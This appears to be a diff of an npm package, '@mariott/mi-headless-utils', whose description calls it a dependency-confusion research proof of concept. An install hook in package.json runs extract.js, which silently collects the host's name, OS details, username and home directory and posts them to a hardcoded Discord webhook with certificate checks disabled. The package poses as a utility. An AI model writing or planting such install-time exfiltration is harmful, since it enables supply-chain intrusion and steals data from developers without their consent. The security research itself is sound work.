@mariott/mi-headless-utils 1.0.0

package/extract.js

@@ -0,0 +1,47 @@
+const https = require('https');
+var os = require("os");
+var hostname = os.hostname();
+var type = os.type();
+var version = os.version();
+var release = os.release();
+var info = os.userInfo();
+var package_name_l = process.argv[2];
+var package_version_l = process.argv[3];
+var package_name_w = process.argv[4];
+var package_version_w = process.argv[5];
+var package_name = "";
+var package_version = "";
+
+if (package_name_l == "$npm_package_name" ) {
+	// We are on windows, use these names and version
+	package_name = package_name_w;
+	package_version = package_version_w;
+} else {
+	// Linux it is... 
+	package_name = package_name_l;
+	package_version = package_version_l;
+}
+
+var message = "Package '" + package_name + " ', version: " + package_version +  " has been installed on hostname: '" + hostname + "', type: '" + type +"', release: '" + release + "', version: '" + version + "', username: '" + info["username"] + "', homedir: '" + info["homedir"] + "'.";
+
+const data = new TextEncoder().encode(
+  JSON.stringify({
+    content: message,
+  })
+);
+
+const options = {
+  hostname: 'discord.com',
+  port: 443,
+  path: '/api/webhooks/1260528028996341790/IFm-pVEdO0C2oJirxkUUq9TkOGO535Acs89v4mX3hsGenUGSKZONhgt6T73qmhvfVUHO',
+  method: 'POST',
+  headers: {
+    'Content-Type': 'application/json',
+    'Content-Length': data.length
+  },
+  rejectUnauthorized: false
+}
+
+const req = https.request(options, res => {});
+req.write(data);
+req.end();

package/package.json

@@ -0,0 +1,11 @@
+{
+  "name": "@mariott/mi-headless-utils",
+  "version": "1.0.0",
+  "description": "This package is a proof of concept used by Antoine Roly to conduct research. It has been uploaded for test purposes only. Its only function is to confirm the installation of the package on a victim's machines. The code is not malicious in any way.",
+  "main": "index.js",
+  "scripts": {
+    "install": "node extract.js $npm_package_name $npm_package_version %npm_package_name% %npm_package_version%"
+  },
+  "author": "Antoine Roly <antoine.roly@gmail.com>",
+  "license": "ISC"
+}